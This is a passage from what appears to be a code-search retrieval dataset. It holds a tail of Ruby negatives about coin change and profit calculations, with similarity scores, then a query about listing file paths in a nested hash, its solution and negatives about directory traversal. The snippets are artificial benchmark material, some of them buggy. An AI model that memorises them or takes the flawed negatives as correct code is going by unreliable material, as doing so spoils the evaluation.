"def minCashFlow(graph)\n\n\t# Create an array amount[],\n\t# initialize all value in it as 0.\n\tamount = Array.new($n, 0)\n\n\t# Calculate the net amount to be paid\n\t# to person 'p', and stores it in amount[p].\n\t# The value of amount[p] can be calculated by\n\t# subtracting debts of 'p' from credits of 'p'\n\tfor p in 0..$n-1 do\n\t\tfor i in 0..$n-1 do\n\t\t\tamount[p] += (graph[i][p] - graph[p][i])\n end \n end \n\n\tminCashFlowRec(amount)\nend",
"def max_amount(array_of_coins)\n case array_of_coins.length\n when 0 then 0\n when 1 then array_of_coins.first\n when 2 then [array_of_coins.first, array_of_coins.last].max\n else\n [\n array_of_coins.last + max_amount(array_of_coins[0..-3]),\n max_amount(array_of_coins[0..-2])\n ].max\n end\nend",
"def greedy_change(num, coins)\n return [] if num <= 0\n\n result = []\n new_coin = coins.select { |coin| num - coin >= 0 }.max\n #p new_coin\n result << new_coin\n #p result\n #p greedy_change(num - new_coin, coins)\n result + greedy_change(num - new_coin, coins)\nend",
"def greedy_change(amount, coins)\n return {} if amount <= 0\n coins_count = {}\n coins_count[coins.max] = amount / coins.max\n remainder = amount % coins.max\n coins.delete(coins.max)\n coins_count.merge(greedy_change(remainder, coins))\nend",
"def coinConverter(num, coins)\n coinArray = []\n\n coins.each do |coin|\n while (num - coin >= 0)\n coinArray.push(coin)\n num -= coin\n end\n end\n\n coinArray.each do |coin|\n puts coin\n end\nend",
"def make_change( amount, coins=[25,10,5,1], avoid_pennies=true, recursing=false )\n # Don't sort in place, in case the user wants to preserve the coin array\n coins = coins.sort_by{ |coin| -coin }\n owed = amount\n change = []\n coins.each{ |coin|\n while owed >= coin\n owed -= coin\n change << coin\n end\n }\n change = nil unless owed == 0\n\n if recursing\n change\n else\n answers = [ change ]\n while coins.shift\n answers << make_change( amount, coins, avoid_pennies, true )\n end\n answers.compact.sort_by{ |answer|\n [\n answer.length,\n -answer.send( avoid_pennies ? :last : :first )\n ]\n }.first\n end\nend",
"def bestCoinsExchange(coins, change)\n\n #sums is in the format [[coin values], depth]\n #the coin values will be either a real coin\n #or the sum of other coins\n #depth is used to determine how deep in the calculation\n #loop we are. if we have a value for 757 that consists of\n #only 2 coins (depth 1), then we will favor that result\n #in our sums hash over some future result that may use more\n #than 2 coins to arrive at 757\n\n sums = {}\n for c in coins\n sums[c] = [[c],0]\n end\n\n depth = 1\n #keep looping till we have a combination of coins equaling\n #the total change\n while sums[change] == nil\n prod = coins.product(sums.keys)\n prod.each{|p|\n sum = p[0] + p[1]\n l = sums[sum]\n #when putting the combination of coins as the answer\n #for a collection of summed values, we will favor\n #the shallower depth (fewer coins) and the larger coin\n #if the depths are equal\n if l == nil || (p[0] > l[0][0] && l[1] >= depth)\n #dont bother storing the sum if it is larger\n #than what we are looking for\n sums[sum] = [p,depth] if sum <= change\n end\n }\n depth += 1\n end\n\n a = sums[change][0]\n counts = {}\n getCounts(coins, sums, a, counts)\n counts.collect{|k,v| [k,v]}.sort_by{|a| a[0]}.reverse\nend",
"def wonky_coins_iter(n)\n coins_queue = [n]\n zero_coins_count = 0\n while(!coins_queue_empty?)\n \tcoin = coins_queue.pop\n \tif coin == 0\n \t\tzero_coins_count += 1\n \telse\n \t\tcoins_queue << coin/2 << coin/3 << coin/4\n \tend\n end\n return coin_total\nend",
"def make_change_it(amount, coins = [25, 10, 5, 1])\n #iterative version to make sure can get it \n change = []\n i = 0\n while amount > 0\n #as long as money is greater than zero there's a coin that we can give back\n while amount >= coins[i]\n #compare money that you have to the biggest coin\n amount -= coins[i]\n change << coins[i]\n p change\n end\n i += 1\n end\nend",
"def make_better_change(total, coins = [1,5,10,25])\n # base case once total reaches 0\n return [] if total == 0\n\n # array to hold current best change\n best_change = nil\n\n # sort high to low, unnecessary for this function\n coins.sort!{|a,b| b <=> a}\n\n # since best change method unknown, we cycle through coins, grabbing\n # one of current coin and making best change with remainder.\n coins.each do |coin|\n next if coin > total # coin is unusable\n rest_of_change = make_better_change(total - coin, coins)\n change = [coin] + rest_of_change\n # if best change array empty or current change uses less coins, replace\n if best_change.nil? || change.count < best_change.count\n best_change = change\n end\n end\n best_change\nend",
"def possibilities (target, coins)\n return 1 if target == 0\n return 0 if target < 0 || coins . length == 0\n\n sum = 0\n for i in 0 .. (target / coins [0]) . to_i do\n sum += possibilities(target - i * coins [0], coins [1 .. -1])\n end\n\n return sum\nend",
"def make_change(coins, target)\n return [] if target == 0\n coins.sort!{|a,b| b <=> a }\n best_change = []\n\n coins.each do |coin|\n solution = []\n (target / coin).times { solution << coin }\n\n solution += make_change(coins.drop(1), target % coin)\n\n if best_change.length > solution.length || best_change.empty?\n best_change = solution\n end\n end\n best_change\nend",
"def determine_dealers_lowest_total\n sum_of_dealers_hand = 0\n @dealer_hand.each {|x|\n card_value = @deckhash.fetch(x)\n if card_value == 1 then card_value = 11\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n }\n # ### This method returns sum of dealer's hand\n return sum_of_dealers_hand\n end",
"def make_change(target, coins = [25, 10, 5, 1])\n return [] if target == 0\n return nil if coins.none? { |coin| coin <= target }\n\n coins = coins.sort.reverse\n best_change = nil\n\n coins.each_with_index do |coin, index|\n next if coin > target\n remainder = target - coin\n best_remainder = make_change(remainder, coins.drop(index))\n next if best_remainder.nil?\n this_change = [coin] + best_remainder\n if (best_change.nil? || (this_change.count < best_change.count))\n best_change = this_change\n end\n end\n\n return best_change if best_change.nil?\n best_change.count\nend",
"def make_change_iterative(amount, coins = [25, 10, 5, 1])\n change = []\n coins.each do |coin|\n count = amount / coin # how many of that coin I can use\n count.times { change << coin }\n amount -= count * coin\n end\n \n change\nend",
"def getWays(n, c)\n # i = n or change needed\n # j = enabled coins\n # dp[i][j] = dp[i - j's coin value][j] + dp[i][j - 1]\n store = [[1] * c.length]\n\n (1..n).each do |i|\n c.length.times do |j|\n sum_one = i - c[j] >= 0 ? store[i - c[j]][j] : 0\n sum_two = j - 1 >= 0 ? store[i][j - 1] : 0\n store[i] = [] unless store[i]\n store[i][j] = sum_one + sum_two\n end\n end\n\n store.last.last\nend",
"def change_in_coins(change)\n return [] if change.zero?\n supported_nominals.reverse_each do |coin|\n next if (change - coin).negative? || !coin_available?(coin)\n remove_change_coin(coin)\n next unless (sum = change_in_coins(change - coin))\n return sum + [coin]\n end\n nil\n end",
"def make_better_change(value, coins)\n check_coins = coins.select { |el| el <= value }\n return nil if check_coins.empty?\n\n solutions = []\n check_coins.sort.reverse.each do |coin|\n remain = value - coin\n\n if remain > 0\n remain = make_better_change(remain, coins)\n solutions << [coin] + remain unless remain.nil?\n else\n solutions << [coin]\n end\n end\n solutions.sort_by! { |arr| arr.length }.first\n\n end",
"def combo_counter(coins, target)\n return 1 if target.zero?\n return 0 if target.negative? || coins.empty?\n\n coin = coins[0]\n (0..target / coin).map { |num| combo_counter(coins[1..-1], target - coin * num) }.reduce(:+)\nend",
"def arrange_coins(n)\n k = 0\n while (n -= k) > k\n k += 1\n end\n k\nend",
"def hard(input, amount)\n solutions = {}\n (2..input.length).each do |i|\n count = input.combination(i).select { |c| c.sum == amount }.length\n solutions[i] = count unless count.zero?\n end\n min_containers = solutions.keys.min\n solutions[min_containers]\nend",
"def make_change(amt, coins)\n return Float::INFINITY if amt < 0\n return @change_hash[amt] if @change_hash[amt]\n min_so_far = Float::INFINITY\n coins.each do |coin|\n num_coins = make_change(amt - coin, coins) + 1\n min_so_far = num_coins if num_coins < min_so_far\n end\n @change_hash[amt] = min_so_far\n min_so_far\n end",
"def make_change(amt, coins, coin_cache = {0 => 0})\n return coin_cache[amt] if coin_cache[amt]\n return 0.0/0.0 if amt < coins[0]\n\n min = amt\n change_possible = false\n coins.each do |coin|\n next if coin > amt\n\n test_change = make_change(amt - coin, coins, coin_cache) + 1\n if test_change.integer? && test_change < min\n change_possible = true\n min = test_change\n end\n end\n\n min = 0.0/0.0 unless change_possible\n coin_cache[amt] = min\n\n min\n end",
"def dp_change(money, coins) \n <<-DOC\n Input: An integer money and an array Coins = (coin1, ..., coind).\n Output: The minimum number of coins with denominations Coins that changes money.\n \n DPCHANGE(money, Coins)\n MinNumCoins(0) ← 0\n for m ← 1 to money\n MinNumCoins(m) ← ∞\n for i ← 1 to |Coins|\n if m ≥ coini\n if MinNumCoins(m - coini) + 1 < MinNumCoins(m)\n MinNumCoins(m) ← MinNumCoins(m - coini) + 1\n output MinNumCoins(money) \n \n DOC\n\n # Since we can't assign infinity, lets assign the max possible coins + 1 as inifinity\n # Get the least value coin and divide our money with that \n infinity = (money/coins[-1]) + 1\n min_num_coins = {}\n min_num_coins[0] = 0\n (1..money).each do |m|\n min_num_coins[m] = infinity\n coins.each do |coin|\n if (m >= coin)\n if (min_num_coins[m-coin] + 1) < min_num_coins[m]\n min_num_coins[m] = min_num_coins[m-coin] + 1\n end\n end\n end\n end\n return min_num_coins[money]\n end",
"def coin_combos(total)\n coins = [1, 5, 10, 25, 50, 100]\n counter ||= 0\n if total == 0\n counter += 1\n p \"#{counter} is counter\"\n return\n elsif total > 0\n coins.reverse.each do |integer|\n if integer < total\n coin_combos(total - integer)\n end\n end\n end\nend",
"def make_change(amt, coins)\n return Float::INFINITY if amt < 0\n @cache[0] = 0\n\n return @cache[amt] if @cache[amt]\n minimum = Float::INFINITY\n\n coins.each do |coin|\n attempt = make_change(amt - coin, coins) + 1\n minimum = attempt unless minimum.is_a?(Integer)\n minimum = attempt if attempt < minimum\n end\n\n @cache[amt] = minimum\n end",
"def wonky_coins(n)\n\nend",
"def solution(a)\n return 0 if a.count <= 1\n \n max_profit = 0\n min_price = a.first\n a[1..-1].each { |price|\n max_profit = [max_profit, price - min_price].max\n min_price = [min_price, price].min\n }\n max_profit\nend",
"def coin_change(coins, amount)\n coins = coins.sort\n\n return -1 if coins.empty?\n return -1 if coins[0] > amount\n\n current_coin = coins.pop\n change = []\n sum = 0\n\n loop_coins(coins, amount ,current_coin, change, sum)\nend",
"def get_btc_profit\n close_positions.sum(:quantity) - quantity\n end",
"def get_btc_profit\n quantity - close_positions.sum(:quantity)\n end",
"def change(amount, arr)\n changes = [[]] + Array.new(amount, Array.new(amount))\n\n 1.upto(amount) do |i|\n arr.each do |coin|\n next if coin > i\n\n changes[i] = changes[i - coin] + [coin] if changes[i].size > (changes[i - coin] + [coin]).size\n end\n end\n\n changes[amount]\nend",
"def get_total_mined\n call_blockchain_api('totalbc').to_f\n end",
"def candy_2(ratings)\n rewards = Array.new(ratings.length, 1)\n local_mins(ratings).each do |min|\n expand_from_local_min(min, ratings, rewards)\n end\n # puts rewards.to_s\n rewards.sum\nend",
"def coin_array; end",
"def make_change(target, coins = [25, 10, 5, 1])\n # Don't need any coins to make 0 cents change\n return [] if target == 0\n # Can't make change if all the coins are too big. This is in case\n # the coins are so weird that there isn't a 1 cent piece.\n return nil if coins.none? { |coin| coin <= target }\n\n # Optimization: make sure coins are always sorted descending in\n # size. We'll see why later.\n coins = coins.sort.reverse\n\n best_change = nil\n coins.each_with_index do |coin, index|\n # can't use this coin, it's too big\n next if coin > target\n\n # use this coin\n remainder = target - coin\n\n # Find the best way to make change with the remainder (recursive\n # call). Why `coins.drop(index)`? This is an optimization. Because\n # we want to avoid double counting; imagine two ways to make\n # change for 6 cents:\n # (1) first use a nickel, then a penny\n # (2) first use a penny, then a nickel\n # To avoid double counting, we should require that we use *larger\n # coins first*. This is what `coins.drop(index)` enforces; if we\n # use a smaller coin, we can never go back to using larger coins\n # later.\n best_remainder = make_change(remainder, coins.drop(index))\n\n # We may not be able to make the remaining amount of change (e.g.,\n # if coins doesn't have a 1cent piece), in which case we shouldn't\n # use this coin.\n next if best_remainder.nil?\n\n # Otherwise, the best way to make the change **using this coin**,\n # is the best way to make the remainder, plus this one coin.\n this_change = [coin] + best_remainder\n\n # Is this better than anything we've seen so far?\n if (best_change.nil? || (this_change.count < best_change.count))\n best_change = this_change\n end\n end\n\n best_change\nend",
"def make_change(amt, coins, coin_cache = {0 => 0})\n return coin_cache[amt] if coin_cache[amt]\n return 0.0/0.0 if amt < coins[0]\n\n min_change = amt\n way_found = false\n idx = 0\n while idx < coins.length && coins[idx] <= amt\n num_change = 1 + make_change(amt - coins[idx], coins, coin_cache)\n if num_change.is_a?(Integer)\n way_found = true\n min_change = num_change if num_change < min_change\n end\n idx += 1\n end\n\n if way_found\n coin_cache[amt] = min_change\n else\n coin_cache[amt] = 0.0/0.0\n end\n end",
"def make_greedy_coin(remainder,arr=[50,25,10,5,1])\ni=0\nresult=[]\nwhile i < arr.length\nif remainder - arr[i]<0\ni+=1\nelse\n result << arr[i]\n return result+make_greedy_coin(remainder-arr[i])\nend\n\nend\nreturn result\nend",
"def find_possible_quantities(cost, total)\n possible_values = [0]\n return possible_values if cost > total\n\n counter = 1\n\n until counter * cost > total\n possible_values << counter\n counter += 1\n end\n\n possible_values\n end",
"def make_change(amt, coins, coin_cache = { 0 => 0 })\n return coin_cache[amt] if coin_cache[amt]\n return 0.0 / 0.0 if amt < coins[0]\n\n ans = 0.0 / 0.0\n coins.each do |coin|\n break if coin > amt\n num_coins = 1 + make_change(amt - coin, coins, coin_cache)\n ans = num_coins unless ans.is_a?(Integer) && num_coins > ans\n end\n\n coin_cache[amt] = ans.is_a?(Integer) ? ans : 0.0 / 0.0\n end",
"def make_greedy_change(amount, bank = [25,10,5,1])\n return [] if amount == 0\n\n bank.each_with_index do |coin, idx|\n next if coin > amount\n\n remainder = amount - coin\n return [coin] + make_greedy_change(remainder, bank)\n end\nend",
"def exit_price_array(n = 100)\n min = liq_pref\n max = equilibrium_price\n range = max - min\n dx = range/n\n (1..n).to_a.map{|i| min + i*dx}\n end",
"def getMoneySpent(keyboards, drives, b)\n all = []\n keyboards.each { |v| drives.each { |k| all << v + k if v + k <= b } }\n all.empty? ? -1 : all.max\nend",
"def getCounts (coins, sums, array, hash)\n for a in array\n if coins.include? a\n hash[a] == nil ? hash[a] = 1 : hash[a] += 1\n else\n otherCoins = sums[a][0]\n getCounts(coins, sums, otherCoins, hash)\n end\n end\nend",
"def max_profit(prices)\n total = 0\n (0...prices.size - 1).each do |i|\n total += prices[i + 1] - prices[i] if prices[i + 1] > prices[i]\n end\n total\nend",
"def make_change(coins, money, index)\n return 1 if money == 0\n return 0 if index >= coins.size\n\n amount_with_coin = 0\n ways = 0\n\n while amount_with_coin <= money\n remaining = money - amount_with_coin\n ways += make_change(coins, remaining, index + 1)\n amount_with_coin += coins[index]\n end\n\n ways\nend",
"def single_profit(prices)\n profit = 0\n i = 0\n while i < prices.length do\n remainder = prices.slice(i+1, prices.length-1)\n if remainder.length > 0\n value = remainder.max - prices[i]\n if value > profit\n profit = value\n end\n end\n i+=1\n end\n profit\n \nend",
"def make_smart_change(change_amount, available_coins)\n possible_answers = []\n while available_coins.length > 1 do\n possible_answers << make_change(change_amount, available_coins)\n \n #compare best answer\n # this_answer = make_smart_change(x,y)\n # if best_ans.length > this_answer\n # best_ans = this_answer\n # end\n next if available_coins.length == 1\n available_coins = available_coins[1..-1]\n end\n \n #pick shortest length array within possible_answers\n possible_answers.sort_by(&:length)[0]\n \nend",
"def amount_in(date = nil)\n n = 0\n @transactions.each do |t|\n n += t.amount if t.adjusted_amount > 0\n end\n\n n\n end",
"def arrange_coins(n)\n coin_pile = n\n current_row = 1\n\n loop do\n coin_pile -= current_row\n if coin_pile == 0\n return current_row\n elsif coin_pile < 0\n return current_row - 1\n end\n current_row += 1\n end\nend",
"def getMoneySpent(keyboards, drives, b)\n\n# pair_sum stores the possible pair prices\n pair_sum= []\n \n# The product method does the combining for us \n combinations = keyboards.product(drives)\n \n# Then we reduce(:+) each pair subarray and push it to the sum array if it's not above our budget\n combinations.each { |pair| pair_sum << pair.reduce(:+) if pair.reduce(:+) <= b } \n\n# Finally we return -1 if the sum array is empty, meaning all pairs are above budget.\n# Otherwise we return the max\n pair_sum.empty? ? -1 : pair_sum.max\nend",
"def min_unfairness (candy, n, k)\n # First, sorting the array\n candy.sort!\n\n # puts candy.inspect\n\n # Initialize with the first and k element \n min = candy[k-1] - candy[0]\n\n # For each subsequential k elements, we have to find the min. unfairness\n for i in 1..(n-k) \n # puts \"i=#{i} n[i+k]=#{candy[i+k-1]} n[i]=#{candy[i]} : #{candy[i+k-1] - candy[i]} | min=#{min}\"\n min = candy[i+k-1] - candy[i] if candy[i+k-1] - candy[i] < min\n end\n\n return min\nend",
"def available_coins\n coins.select { |coin, quantity| quantity > 0 }.keys\n .map { |coin| Components::Coin.new(coin) }\n .reverse\n end",
"def getMinimumCost(k, c)\n cost = 0\n c.sort.reverse.each_with_index do |price, idx|\n # (previous purchases + current purchases) * price\n sub_cost = ((idx / k) + 1) * price \n puts \"((#{idx} / #{k}) + 1) * #{price} = #{sub_cost}\"\n cost += sub_cost\n end\n cost\nend",
"def make_better_change(amount, coins)\n stack = [amount]\n until stack.empty?\n coins.each do |coin|\n break if amount - coin == 0\n stack << amount - coin if amount >= coin\n make_better_change(amount-coin, coins)\n end\n end\nend",
"def multisum(num)\n i = 1\n totals = []\n while i <= num\n three = 3 * i\n five = 5 * i\n totals << three if three <= num\n totals << five if five <= num\n i += 1\n end\n totals = totals.uniq.sort!\n p totals.sum\nend",
"def birthdayCakeCandles(n, ar)\n tallest = ar.max\n (ar.select {|val| val < tallest }).length\nend",
"def recursive_greedy_make_change(amount, coins = [25, 10, 5, 1])\n return [] if amount == 0\n\n if amount >= coins.first\n new_amount = amount - coins.first\n return [coins.first] + recursive_greedy_make_change(new_amount, coins)\n else\n return recursive_greedy_make_change(amount, coins[1..-1])\n end\nend",
"def computeGoldCoinsValue(t)\n\t\tvalue = 0\n\t\tfor treasure in t\n\t\t\tvalue = value + treasure.goldCoins\n\t\tend\n\t\treturn value*2\n\tend",
"def min_qty\n\t\tno_price_change = self.deal_quantities.where( :price_change => nil )\n\t\tif no_price_change.size > 0\n\t\t\tno_price_change.first.qty\n\t\telse\n\t\t\t0\n\t\tend\n\tend",
"def checkout_time(customers, n)\n arr = Array.new(n, 0)\n customers.each { |customer| arr[arr.index(arr.min)] += customer }\n arr.max\nend",
"def make_change(change, coins)\n return [] if change == 0\n return nil if coins.count == 0 && change != 0\n\n current_coin = coins.first\n if change / current_coin >= 1\n results = [current_coin] + make_change(change - current_coin, coins)\n next_results = make_change(change - current_coin, coins.shift)\n greedy_results = [current_coin] + next_results unless next_results == nil\n results = greedy_results if greedy_results.length < results.length \n else\n coins.shift\n results = make_change(change, coins)\n end\nend"
] |
[
"0.7801314",
"0.7416584",
"0.7183905",
"0.70020497",
"0.6973914",
"0.69733477",
"0.69667035",
"0.6919655",
"0.6913986",
"0.6891893",
"0.68541056",
"0.68216276",
"0.6814197",
"0.6794056",
"0.67839384",
"0.6762581",
"0.6750556",
"0.674396",
"0.6710891",
"0.6690177",
"0.66723865",
"0.6626405",
"0.65838206",
"0.65488327",
"0.6535137",
"0.65086955",
"0.64928746",
"0.6487441",
"0.64604145",
"0.64470285",
"0.64461654",
"0.6393412",
"0.63890547",
"0.6375054",
"0.6375054",
"0.63732946",
"0.6365677",
"0.63539386",
"0.62982416",
"0.6290838",
"0.6277205",
"0.62633306",
"0.62597764",
"0.6249582",
"0.62467885",
"0.62434196",
"0.6228896",
"0.6212512",
"0.6210576",
"0.6206967",
"0.61944467",
"0.61806923",
"0.6174565",
"0.61708933",
"0.6165981",
"0.61610657",
"0.6146781",
"0.61449045",
"0.6142497",
"0.6133208",
"0.6123715",
"0.61197126",
"0.6105133",
"0.6105047",
"0.6082299",
"0.6081992",
"0.60768956",
"0.60657704",
"0.605332",
"0.6042964",
"0.60065854",
"0.5992425",
"0.5986716",
"0.59764147",
"0.5966883",
"0.59627473",
"0.5947958",
"0.59409064",
"0.5935606",
"0.59241164",
"0.5921864",
"0.58956206",
"0.58947265",
"0.58887494",
"0.588717",
"0.5874145",
"0.586846",
"0.5867053",
"0.5855434",
"0.5849825",
"0.58457935",
"0.5842639",
"0.5842199",
"0.5838404",
"0.5833453",
"0.5830134",
"0.5816287",
"0.5803932",
"0.57964694",
"0.5793047"
] |
0.6583852
|
22
|
Suppose a hash represents a directory with subdirectories and so on. If a key is a directory, it points to a subhash. If a key is a file, it points to true. The function below returns an array of strings representing the file paths to each file in the hash.
|
def file_paths(file_tree, path_so_far = "")
paths = []
file_tree.keys.each do |key|
if file_tree[key] == true
extended_path = path_so_far + "#{key}"
paths << extended_path
else
extended_path = path_so_far + "#{key}/"
paths += file_paths(file_tree[key], extended_path)
end
end
paths
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def keys\n return full_path.to_s.split('.') if full_path\n return [key.to_s] unless path&.present?\n\n [path, key].compact.join('.').split('.')\n end",
"def get_vault_paths(keys = 'secret/')\n # We need to work with an array\n if keys.is_a?(String)\n keys = [keys]\n else\n raise ArgumentError, 'The supplied path must be a string or an array of strings.' unless keys.is_a?(Array)\n end\n\n # the first element should have a slash on the end, otherwise\n # this function is likely being called improperly\n keys.each do |key|\n raise ArgumentError, \"The supplied path #{key} should end in a slash.\" unless key[-1] == '/'\n end\n\n # go through each key and add all sub-keys to the array\n keys.each do |key|\n Vault.logical.list(key).each do |subkey|\n # if the key has a slash on the end, we must go deeper\n keys.push(\"#{key}#{subkey}\") if subkey[-1] == '/'\n end\n end\n\n # Remove duplicates (probably unnecessary), and sort\n keys.uniq.sort\nend",
"def file_list(hash)\n\nend",
"def file_list(hash)\n\nend",
"def binary_tree_paths(root)\n paths = []\n binary_tree_paths_recursive(root, [], paths)\n\n paths.map do |path|\n path.join(\"->\")\n end\nend",
"def fakedir_get_all_names(root, basename = '')\n result = (['.', '..'] + root[:files] + root[:dirs].keys).map{|e| basename + e}\n root[:dirs].each do |name, content|\n result += fakedir_get_all_names(content, \"#{basename}#{name}/\")\n end\n result\n end",
"def entries(path)\n result = []\n path.entries.each do |entry|\n next if ignore_basename?(entry)\n\n file = path.join(entry)\n next if ignore_pathname?(file)\n\n result.push(file)\n end\n return result\n end",
"def all_files\n @files_hash.values\n end",
"def extract_files(hash)\n if hash['files']\n files = hash['files'].flatten.map do |file_hash|\n {\n :name => file_hash['path'].last,\n :size => file_hash['length']\n }\n end\n else\n files = [{\n :name => file_hash['name'],\n :size => file_hash['length']\n }]\n end\n end",
"def directory_hash(path, name=nil)\n data = {:folder => (name || path.split(\"/\").last)}\n data[:children] = children = []\n Dir.foreach(path) do |entry|\n next if (entry == '..' || entry == '.' || entry == 'yamproject.json' || entry == '.DS_Store')\n full_path = File.join(path, entry)\n if File.directory?(full_path)\n children << directory_hash(full_path, entry)\n else\n children << entry\n end\n end\n return data\nend",
"def hashDirectory(directory)\n count = 0\n hash = {}\n Dir.foreach(directory) do |item|\n next if item == '.' || item == '..'\n hash[count] = item\n count = count + 1\n end\n hash\nend",
"def entries() Dir.entries(path).map {|f| Path::Name.new(f) } end",
"def build_hash_tree(filenames)\n files_tree = filenames.inject({}) { |h, i| t = h; i.split(\"/\").each { |n| t[n] ||= {}; t = t[n] }; h }\nend",
"def file_list path = false, only_extensions = []\n data = []\n path = @path unless path\n if File.exists?(path) && File.directory?(path)\n Dir.foreach(path) do |entry|\n next if entry == '..' or entry == '.' or entry.start_with?(\".\")\n full_path = File.join(path, entry)\n if File.directory?(full_path)\n data.concat(file_list(full_path, only_extensions))\n else\n if only_extensions.size > 0\n data << { \n :name => entry,\n :path => full_path\n } if only_extensions.all? {|extension| true if entry.end_with?(extension) }\n else\n data << { \n :name => entry,\n :path => full_path\n }\n end\n end\n end\n end\n return data\n end",
"def directory_entries\n entries.select{ |f| File.directory?(File.join(path,f)) }\n #dirs = ::Dir.glob(\"#{path}/\")\n #dirs.collect{ |f| f.chomp('/') }\n end",
"def get_all(key)\n configuration.hpath(key)\n end",
"def traverse_dir(file, search_key)\n ret = Array.new\n if ( File.directory?(file) )\n d = Dir.new(file)\n d.each { |entry|\n if ( entry.match(/^\\./) )\n next\n end\n ret = ret + traverse_dir([file, entry].join('/'), search_key)\n }\n end\n\n if ( File.file?(file) and file.match(/\\.yaml$/) )\n yaml = YAML.load_file(file)\n yaml.keys.each { |key|\n unless ( key == search_key )\n next\n end\n\n ret.push ( {\n :filename => file,\n :content => yaml[key],\n } )\n }\n end\n\n return ret\nend",
"def get_entries(dir, subfolder); end",
"def SubPaths()\n #puts \"Searching subpaths in #{to_s()}\"\n entries = Dir.entries(AbsolutePath())\n subPaths = []\n \n #puts \"Found entries #{entries}\"\n \n entries.each do |entry|\n if(entry == \"..\" || entry == \".\")\n next\n end\n \n copy = CreateCopy()\n \n #puts \"Copy is #{copy}\"\n \n copy.RelativePath = JoinPaths([copy.RelativePath, entry])\n subPaths.push(copy)\n \n #puts \"Created path #{copy} for entry #{entry}\"\n end\n \n return subPaths\n end",
"def get_root_keys_from_directory(directory)\n @logger.debug(\"Getting Root Keys in %s\" % directory)\n keys = []\n crawl_hiera_directory(directory).each{ |f|\n @logger.debug(\"Found file %s\" % f)\n get_root_keys_from_file(f).each{ |k| keys << k }\n }\n return keys\n end",
"def expand_files map, config\n files = Array.new\n if config.has_key? map\n config[map].each do |v|\n m = /^\\/.*/.match v #starts with /, otherwise it's a group name\n if m\n files << m.to_s\n else\n files + (expand_files m.to_s, config)\n end\n end\n end\n return files\nend",
"def walk_path(dirs)\n (1..dirs.to_a.length).map do |k|\n File.join(*dirs.to_a.take(k))\n end\nend",
"def get_bag_paths\n bag_paths = Array.new\n \n Dir.glob(@path).each do |entry|\n if !(File.directory? entry) || entry == \".\" || entry == \"..\"\n next\n end\n \n bag_paths.push entry\n end\n \n return bag_paths\n end",
"def directories\n directory_entries.map{ |f| FileObject[path, f] }\n end",
"def getFilesinDir(path, logkey='')\n\tfiles = Mcmlln::Tools.dirListFiles(path)\n\treturn files\nrescue => logstring\n\treturn []\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def entries(path)\n pathname = Pathname.new(path)\n if pathname.directory?\n pathname.entries.reject { |entry| entry.to_s =~ /^\\.|~$|^\\#.*\\#$/ }.sort\n else\n []\n end\n end",
"def path_array\n a = []\n each_filename { |ea| a << ea }\n a\n end",
"def get_file_tag_path\n levels=@file_tags.map{|e| e[:level]}.uniq\n\n dirpath = []\n levels.sort.each do |level|\n # select names from all that are not files\n level_path = @file_tags.select{|e| ((e[:level]==level) && (e[:type]!=:file))}.map{|tag| tag[:name]}\n dirpath << level_path.join('_') if !level_path.empty?\n end\n \n filepath = []\n levels.sort.each do |level|\n # select names from all that are not files\n level_path = @file_tags.select{|e| ((e[:level]==level) && (e[:type]!=:dir))}.map{|tag| tag[:name]}\n filepath << level_path.join('_') if !level_path.empty?\n end\n \n \n filename=filepath.join('_')\n dirname=File.join(dirpath)\n \n \n # puts \"#{dirname}, #{filename}\"\n \n return [dirname,filename,@file_tag_tuple_priority]\n \n end",
"def subdir_paths(path)\n\tfolder_metadata = @client.metadata(path)\n\tcontents = folder_metadata['contents']\n\n\tsubdir_paths = []\n\tfor i in contents\n\t\tif i['is_dir']\n\t\t\tsubdir_paths << i['path']\n\t\tend\n\tend\n\tsubdir_paths\nend",
"def files\n entries.map(&:filepath)\n end",
"def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)",
"def paths(reload = false)\n thread_local_store.keys(reload).map(&:to_s)\n end",
"def logical_paths\n return to_enum(__method__) unless block_given?\n\n seen = Set.new\n self.paths.each do |root|\n stat_tree(root).each do |filename, stat|\n if stat.file?\n logical_path = logical_path_for(filename)\n if !seen.include?(logical_path)\n yield logical_path, filename\n seen << logical_path\n end\n end\n end\n end\n\n nil\n end",
"def find_path(val)\n self.each_with_index do |v, k|\n k, v = v if self.kind_of?(Hash)\n return [k] if v == val\n\n c = v.respond_to?(:find_path) ? v.find_path(val) : []\n return c.unshift(k) unless c.blank?\n end\n []\n end",
"def getFilesinDir(path, logkey='')\n\tfiles = Mcmlln::Tools.dirList(path)\n\treturn files\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def read_files\n Dir['*', '*/*'].group_by { |f| f.ext || :_dir }.to_symkey\n end",
"def recursively_search_hash(hash, key)\n values = hash.collect {|k, v| v if k == key}.compact\n values << hash.collect { |k, v| recursively_search_hash(v, key) if v.is_a?(Hash) }\n values << hash.collect do |k, v|\n v.collect {|element| recursively_search_hash(element, key) if element.is_a?(Hash) } if v.is_a?(Array)\n end\n return values.flatten.compact.uniq\n end",
"def path_finder(value, structure, path = [])\n #i tracks the index of the current array\n if value == structure\n path << true\n end\n if !path.include?(true)\n # binding.pry\n if structure.respond_to?(:each)\n #test each element of the hash\n structure.each do |element_key, element_value|\n if !path.include?(true)\n #once we've captured \"true\", we don't need to add to the path anymore\n path << element_key\n end\n if element_value == value\n path << true\n else\n path = path_finder(value, element_value, path)\n if !path.include?(true)\n #if path comes back from a false branch, remove the last part\n path.pop\n end\n end\n end\n else\n return path\n end\n end\n path\nend",
"def paths\n names = Array.new\n each_tarball_entry { |entry| names << Pathname.new(entry).cleanpath.to_s }\n names - ['.']\n end",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def get_filepaths(target_dir)\n dirpaths = [target_dir + \"/subnodes\", target_dir + \"/headnodes\"]\n filepaths = []\n dirpaths.each do |dirpath|\n Dir[dirpath+\"/*\"].each do |filepath|\n filepaths << filepath\n end\n end\n return filepaths\n end",
"def directory_subdirectories(path)\n\tputs ''\n\tfor i in subdir_paths(path)\n\t\tputs i\n\tend\n\tputs ''\n\treturn nil\nend",
